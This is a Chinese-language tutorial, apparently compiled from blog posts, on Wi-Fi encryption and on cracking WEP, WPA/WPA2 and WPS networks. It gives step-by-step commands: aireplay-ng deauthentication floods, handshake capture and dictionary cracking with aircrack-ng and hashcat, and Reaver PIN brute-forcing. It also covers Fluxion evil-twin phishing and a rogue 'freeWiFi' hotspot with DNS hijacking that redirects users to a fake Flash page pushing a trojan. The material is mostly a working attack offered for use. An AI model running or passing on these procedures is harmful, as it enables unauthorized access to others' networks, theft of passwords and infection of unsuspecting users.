無線網絡的加密方式和破解方式
1、WEP加密及破解
1)、WEP加密方式
有線等效保密(wired euivalent pricacy,WEP)協議的使用RC4(rivest cipher4)串流加密技術保障機密性,並使用CRC-32校驗和保密資料的正確性,包含開放式系統認證和共建認證。
2)WEP漏洞及破解
(1)802.2頭消息和簡單RC4流密碼算法。導致攻擊者在有客戶端並有大量有效通信時,可以分析出WEP的密碼
(2)重復使用。導致攻擊者在有客戶端少量通信或者沒有通信時。可以使用ARP重復的方法獲取大量有效的數據。
(3)無身份驗證機制,使用線性函數CRC-32進行完整性校驗。導致攻擊者能使用虛連接和AP建立偽連接,進而獲得XOR文件。使用線性函數CRC-32進行完整性校驗,導致攻擊者用XOR文件偽造一個ARP的包,然后依靠這個包去捕獲大量有效數據。
破解WEP加密的無線信號依賴兩個元素:
1)信號強度
2)是否有在線客戶端。通過抓包、注入,然后獲取密碼,只要有這類信號就是百分之百可以破解的。
2、WPE加密方式
WPA加密方式 WPA全程為WiFi protected access,既Wif網絡安全存取,有WPA和WPA2兩個標准,是基於有線等效加密中幾個嚴重的弱點而產生的。WPA加密方式目前有以下幾種認證方式:WPA、WPA-PSK、WPA2、WPA2-PSK、WPA3。主流的加密方式是WPA2
WAP加密流程如下:
⑴ 無線AP定期發送beacon數據包,使無線終端更新自己的無線網絡列表。
(2)無線終端在每個信道(1~13)廣播Probe Request(非隱藏類型的Wif含ESSID,隱藏類型的wif不含ESSID)。
(3)每個信道的AP回應,ProbeResponse,包含ESSID及RSN信息。
(4)無線終端給目標AP發送AUTH包。AUTH認證類型有兩種︰0為開放式,1為共享式(WPA/WPA2必須是開放式)。
(5) AP回應網卡AUTH包。
(6)無線終端向AP發送關聯請求包Association Request數據包。
(7)AP向無線終端發送關聯響應包Association Request數據包。
(8) EAPOL四次握手進行認證(握手包是破解的關鍵)。
(9) 完成認證可以上網
2)WPA破解
WPA的wifi密碼破解分兩種方法,抓包和跑pin碼
(1) 抓包破解。wifi信號的機密的。登錄無線路由器,就要向路由器發送一個請求,請求和無線路由器建立連接,這個請求就是一個包,名叫握手包,這個包里面包含了發送過去的一個密碼,但是這個密碼是加密的。抓包破解成功與否取決於四個方面:信號強度、是否有客戶端在線、跑包的機器是否足夠強大、密碼本是否好用等等
(2)跑pin碼破解。WPS(QSS或AOSS)功能是wifi保護設置的英文縮寫。對於一般用戶,WPS提供了一種相當簡便的機密方法,通過該功能,不僅可將具有WPS功能的wifi設備和無線路由器進行快速連接,還會隨機產生一個八位數的字符串作為個人識別號碼(pin)進行機密操作,省去了客戶端需要連接如無線網絡時,必須手動添加網絡名稱(SSID)及輸入冗長的無線加密密碼的繁瑣過程
Fluxion釣魚破解wifi
另一個工具:wifiphisher 也很好用,感覺更逼真一些
使用:
https://tttang.com/archive/1888/#toc_wifiphisher
一. fluxion介紹
fluxion是一款無線安全測試工具,其攻擊的原理更偏向於社會工程學中的釣魚。它有一個人性化的腳本,可以迅速幫你檢查所需要的插件並進行安裝,可以在短時間內搭建出一個完整的環境。而且現在增加了對中文的支持,這是國外好多安全工具沒有的。

二. 實驗環境
kali虛擬機、無線網卡、手機熱點
三. 工作原理
1.掃描能夠接收到的WIFI信號
2.抓取握手包(這一步的目的是為了驗證WiFi密碼是否正確)
3.使用WEB接口
4.啟動一個假的AP實例來模擬原本的接入點
5.然后會生成一個MDK3進程。如果普通用戶已經連接到這個WiFi,也會輸入WiFi密碼
6.隨后啟動一個模擬的DNS服務器並且抓取所有的DNS請求,並且會把這些請求重新定向到一個含有惡意腳本的HOST地址
7.隨后會彈出一個窗口提示用戶輸入正確的WiFi密碼
8.用戶輸入的密碼將和第二步抓到的握手包做比較來核實密碼是否正確
9.這個程序是自動化運行的,並且能夠很快的抓取到WiFi密碼
四. 實驗步驟
選擇攻擊方法:握手包窺探

選擇信道:2.4GHz頻段穿牆性好,但是帶寬窄,連接多個外設時容易出現擁擠掉線。
5.0GHz是高頻信道頻段,帶寬大、穩定性好,接多個無線設備不會出現信道擁擠外設掉線的情況,缺點是穿牆性差。


(BSSID :無線路由MAC地址 PWR :信號強度 ESSID :WIFI名)
選擇wifi所對應ID

選擇無線接口

選擇握手包檢索方式
aireplay-ng deauthentication: 攻擊主要是偽造一個disassocate包,讓ap斷開與客戶端的鏈接,此時客戶端會重新連接ap,如果使用的是WPA/WPA2的加密方式,通過這樣做強迫客戶端重新驗證,我們就能夠獲得握手包

開始抓包:

抓取握手包成功

另一種攻擊方式:生成一個虛假AP,進行釣魚

選擇一個接入點服務:hostapd能夠使得無線網卡切換為master模式,模擬AP(通常可以認為是路由器)功能

選擇hash:

選擇hash校驗方式:

選擇門戶接口:

選擇完畢后它會開啟新的控制窗口,並且建立虛假的AP,用戶分配等操作,這時建立了一個虛假的AP,和真正的AP名字相同,但是沒有密碼,而且這個時候是沒有辦法連接到真實的AP的,所以機器會連接到我們做的虛假的AP上

連接到我們做的虛假的AP上之后,會自動跳出我們的釣魚網頁,要我們輸入密碼,如果我們輸入的密碼是錯誤的,那么當fluxion驗證之后我們還是不能上網,依然是如下圖那樣的鍵入密碼的頁面,當我們輸入正確的密碼的時候,fluxion會自動結束程序並顯示密碼以及生成破解日志。


程序結束后我們做的虛假AP自然就不見了,這時提交了真實密碼的機器會自動連上真實的AP了,作為不知情的人來說,他們可能只是感覺信號不太好,不過后面又可以上網了,一般就沒有人去追究了,熟不知自己的wifi密碼已經落入他人之手。
五. WIFI四次握手認證過程
4-Way Handshake Message 1
首先 Authenticator 向 Supplicant 發送一個攜帶 ANonce 的 EAPOL-Key frame

4-Way Handshake Message 2
Supplicant 將獲得的 ANonce 和 AA,這個時候 Supplicant 已經擁有 PMK,AA 和 SPA,所以可以通過下面的函數計算出 PTK
PTK = PRF (PMK + ANonce + SNonce + AA + SPA)
Supplicant 根據 ANonce、 自己生成的一個 Nonce( SNonce) 、 自己所設置的 PMK 和 Authenticator 的 MAC 地址等信息進行密鑰派生。(MAC(AA)無線網卡 MAC(SPA) AP 產生的隨機值(ANonce) WiFi 隨機嘗試的值(SNonce)PRF(pseudo-random-function))
Supplicant 隨后將 SNonce 以及一些信息通過第二個 EAPOL-Key 發送給 Authenticator。 Message 2 還包含一個 MIC 值,該值會被 KCK 加密。 接收端 Authenticator 取出 Message 2 中的 SNonce 后, 也將進行和 Supplicant 中類似的計算來驗證 Supplicant 返回的消息是否正確。 如果不正確,這將表明 Supplicant 的 PMK 錯誤, 於是整個握手工作就此停止。

4-Way Handshake Message 3
如果 Supplicant 密鑰正確, 則 Authenticator 也進行密鑰派生。 此后, Authenticator 將發送第三個 EAPOL-Key 給 Supplicant, 該消息攜帶組臨時密碼( Group Transient Key, GTK, 用於后續更新組密鑰, 該密鑰用KEK 加密) 、 MIC( 用 KCK 加密) 。 Supplicant 收到 Message 3 后也將做一些計算, 以判斷 AP 的 PMK 是否正確。 注意, IGTK( Integrity GTK) 用於加解密組播地址收發的管理幀。

4-Way Handshake Message 4
Supplicant 最后發送一次 EAPOL-Key 給 Authenticator 用於確認,如果認證成功, 雙方將安裝( Install) Key。 Install 的意思是指使用它們來對數據進行加密。

Controlled Port Unlocked
雙方完成認證以后,authenticator 的控制端口將會被打開,這樣 802.11 的數據幀將能夠正常通過,而且所有的單播數據幀將會被 PTK 保護,所有的組播數據以及廣播數據將會被 GTK 保護。
Supplicant 和 Authenticator 就此完成密鑰派生和組對, 雙方可以正常進行通信了。
由於 PTK 是有 PMK 使用所以他的加密過程是 MAC(AA)+ 無線網卡 MAC(SPA) +AP 產生的隨機值(ANonce)+ WiFi 隨機產生的值(SNonce)+ 你輸入的密碼
這個公式是由哈希和 MD5 進行計算得到的,即使你知道 4 個答案你都不能使用這個些答案進行逆推出密碼,每次進行認證都是在使用不同的隨機的產生的值進行運算
Aircrack-ng破解wifi
另一個工具:wifite 更自動化一些(不過局限性更大,成功率也不高)
使用:
Aircrack-ng,是一套用於無線審計的工具,kali自帶,里面包含了多種工具,此處主要用到了以下工具
airmon-ng:改變網卡的工作模式
airodump-ng:捕獲802.11的數據報文
aireplay-ng:發送注入數據包攻擊目標,為后續捕獲握手包做准備
aircrack-ng:對捕獲的握手包進行暴力破解
1、准備階段-啟動wlan0
ifconfig檢查無線網卡wlan0是否啟動
一定保證他現在沒有連接任何wifi。上面那個wlan0里面沒有IP地址什么的,就說明現在不在連接中

查看無線網卡狀態
iwconfig(查看無線網卡狀態信息)
激活無線網卡至monitor模式,監聽模式
airmon-ng start wlan0(開啟激活網卡)
我們可以看到上面顯示mac80211 monitor mode vif enabled for wlan0 on wlan0mon......

再次檢查網卡狀態
iwconfig
我們網卡的名稱為wlan0mon了

2、探測階段-確定需要攻擊的wifi
利用網卡搜索周圍能獲取的wifi的信息
airodump-ng wlan0mon

(bssid:為目標的mac地址、pwr:與目標的距離,該值越大,距離越近、#data:目標的實時數據傳輸量、CH:信道、ENC:加密方式,可以看到,都是wpa2的、essid:wifi的名稱)
3、嗅探並抓取目標的握手包
分為兩步:
a,通過airodump-ng開啟抓包模式
airodump-ng --bssid D2:77:95:60:E7:00 -c 10 -w t1 wlan0mon
-c指的是信道
-w保存的文件名
wlan0mon為網卡

圖中STATION為連接這個ap客戶端的mac地址,需要記錄,后續抓握手包使用
此處需要一直開啟監聽,之后新開一個終端進行泛洪攻擊使客戶端與ap斷開連接,斷開后會自動重新連接,這時才能抓到握手包,也就是說一般只有剛開始連接的時候可以抓到握手包,或者目標在進行大流量傳輸時,比如使用迅雷等,才會抓到。
b,通過aireplay-ng攻擊目標
aireplay-ng -0 2 -a D2:77:95:60:E7:00 -c 90:78:B2:2D:1E:43 wlan0mon
-0:沖突攻擊,使目標與客戶端斷開連接,重新連接時從而獲取握手包,2指的是攻擊兩次
#此值不要設置太大,2次足夠了,網上的很多教程都是10次,經過測試是不穩定,如果攻擊完兩次依然沒有握手包就再試一次,就可以了。
-0攻擊的原理
通過wireshark抓取握手包分析發現
ffffffff為攻擊網卡偽造的mac地址

airelay-ng攻擊的原理是向目標ap不斷發送Deauthentication數據包
該數據包的作用是讓當前ap斷開與指定客戶端的鏈接,並且在該攻擊時間內,所選中的ap無法被連接

airodump成功獲取握手包
4、使用aircrack-ng破解握手包,獲取密碼
獲取到的握手包保存在這里,生成的其它文件也是捕獲到的數據包,不過一般用不到,只用這一個

aircrack-ng -w /home/rookie/桌面/pojie.txt t1-01.cap
-w:指定密碼字典的路徑
后邊直接跟cap文件名稱

Reaver 跑Pin碼破解wifi
1、簡介
PIN碼共為8位,按431分段,總共窮舉有11000種組合。通過獲取到PIN碼,並記住Bssid和PIN,后期可以通過一條命令爆出無線密碼。 容易碰到的問題:連接超時,卡住,路由自保護等。
reave的進度表文件保存在:
1.3版 : /etc/reaver/MAC地址.wpc
1.4版:/usr/local/etc/reaver/MAC地址.wpc
2、網卡啟動
iwconfig
airmon-ng start wlan0

3、開啟嗅探模式
查看支持wps的ap
wash -i wlan0mon

查看目前MB有沒有可以破解的wifi

MB:是一直支持速率,關於802.11標准的,不過一般是用來看是否開啟wps的,一般情況下54e.后面有.的都是開啟的,但是也不完全。
4、開啟破解跑pin
reaver -i wlan0monmon -b B4:54:59:5A:DF:F0 -vv

最終你就能得到wifi的PIN碼以及密碼。把這兩個記下來,一般來說wifi主人過段時間就會更改密碼但不會更改PIN碼,這時我們只要加上-p命令,WiFi密碼秒出。
知道Pin碼以后使用如下命令飯計算出wifi連接密碼:
reaver -i wlan0monmon -b MAC地址 -p Pin碼
PS: 此方法受信號強度和WPS保護機置等影響
hashcat爆破
首先先把我們的握手包轉化為hccapx格式,現在最新版的hashcat只支持hccapx格式了,以前的hccap格式已經不支持了
官方在線轉化https://hashcat.net/cap2hccapx/
hashcat64.exe -a 3 -m 2500 1.hccapx 1391040?d?d?d?d

通過偽AP進行DHCP+DNS劫持釣魚
安裝DHCP服務器
apt-get install isc-dhcp-server
配置dhcp服務器
打開終端,輸入命令:vim /etc/dhcp/dhcpd.conf
在這個文件中插入下面內容:
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}

這里以10.0.0.1作為網關和dns服務器地址。
處理無線網卡
打開終端,先輸入ifconfig看下你的無線網卡名字叫什么:

然后執行下面的命令:
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0

上述命令可以防止在釣魚時因為和其他進程沖突出現:Error: Got channel -1, expected a value > 0的錯誤
建立熱點
我們的無線網卡已經准備好並切換到監聽模式了,這時候我們可以建立釣魚熱點了。
建立之前我們要再次使用ifconfig確定一下無線網卡的名稱。

這里我們使用Aircrack-ng這個軟件來創建無線熱點。
輸入下面命令:
airbase-ng -e freeWiFi -c 11 wlan0

其中-e后面的參數是要建立的WiFi名(SSID),這個參數要隨機應變,到了星巴克就是Starbucks,到了機場就是Airport Free WiFi,也可以是CMCC、ChinaUnicom等。-c后面的參數是信道,最后一個參數是要使用的無線網卡。
重新打開一個終端,輸入下面命令,熱點的網絡流量會被虛擬到at0這塊網卡上面:
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
這時如果用手機搜索WiFi會發現已經可以看到一個名叫“freeWiFi”的熱點了,但是不可以連接,是因為沒有dhcp服務器為其分配ip地址,我們繼續。

打開ip轉發
echo 1 > /proc/sys/net/ipv4/ip_forward
開啟dhcp服務器
將dhcp服務器設置為只啟動ipv4服務,並且設置好網卡:
執行命令vim /etc/default/isc-dhcp-server
按“i”鍵切換到insert模式,注釋掉INTERFACESv6="",在INTERFACESv4=""中設置網卡at0
按“esc”鍵切換到命令模式,輸入“:wq 回車”保存

執行dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
開啟dhcp :service isc-dhcp-server start
【如果報錯Starting ISC DHCPv4 server: dhcpddhcpd service already running (pid file /var/run/dhcpd.pid currenty exists) ...則執行rm /var/run/dhcpd.pid先刪除這個文件,再執行service isc-dhcp-server start】

截止到此步驟,我們已經可以連接到釣魚wifi了,並且能在詳細設置中看到ip地址已經被分配,但還無法上網。
配置NAT

查看網關地址:
終端執行route -n

我們要查看能上網的網卡網關,因此我們記下eth0的Gateway為192.168.111.2,后面的操作我們將把流量轉發到這個網關中。
執行以下命令來配置NAT:
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #對eth0進行源nat
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT #把無線網卡流量轉發到有線網卡(或者什么能上網的網卡)上面
iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大報文段長度
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.111.2 #你的網關
再次測試,可以上網了
DNS劫持
使用dnschef工具
過程:
dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53
上述命令是以ip10.0.0.1(上文中的fakeap網關和DNS的ip)建立dns,對於所有請求轉發到210.73.64.1進行解析。顯然這只是個"代理"並沒有劫持的功效
於是我們進化:
dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53
把淘寶和百度解析到本機了。
在本機搭建釣魚頁面,如flash:

當用戶訪問taobao.com,baidu.com時候,就會提示這個頁面,然后下載我們偽裝的木馬文件,運行、上線。
或者直接攔截所有響應
dnschef --fakeip=10.0.0.1
無論他打開什么頁面都會提示這個flash頁面
參考
https://www.freebuf.com/articles/wireless/283288.html
https://blog.csdn.net/shuteer_xu/article/details/114696986
利用Kali進行WiFi釣魚測試實戰 - h4ck0ne - 博客園 (cnblogs.com)
無線安全: 通過偽AP進行DHCP+DNS劫持的釣魚攻擊 - 鄭瀚Andrew.Hann - 博客園 (cnblogs.com)
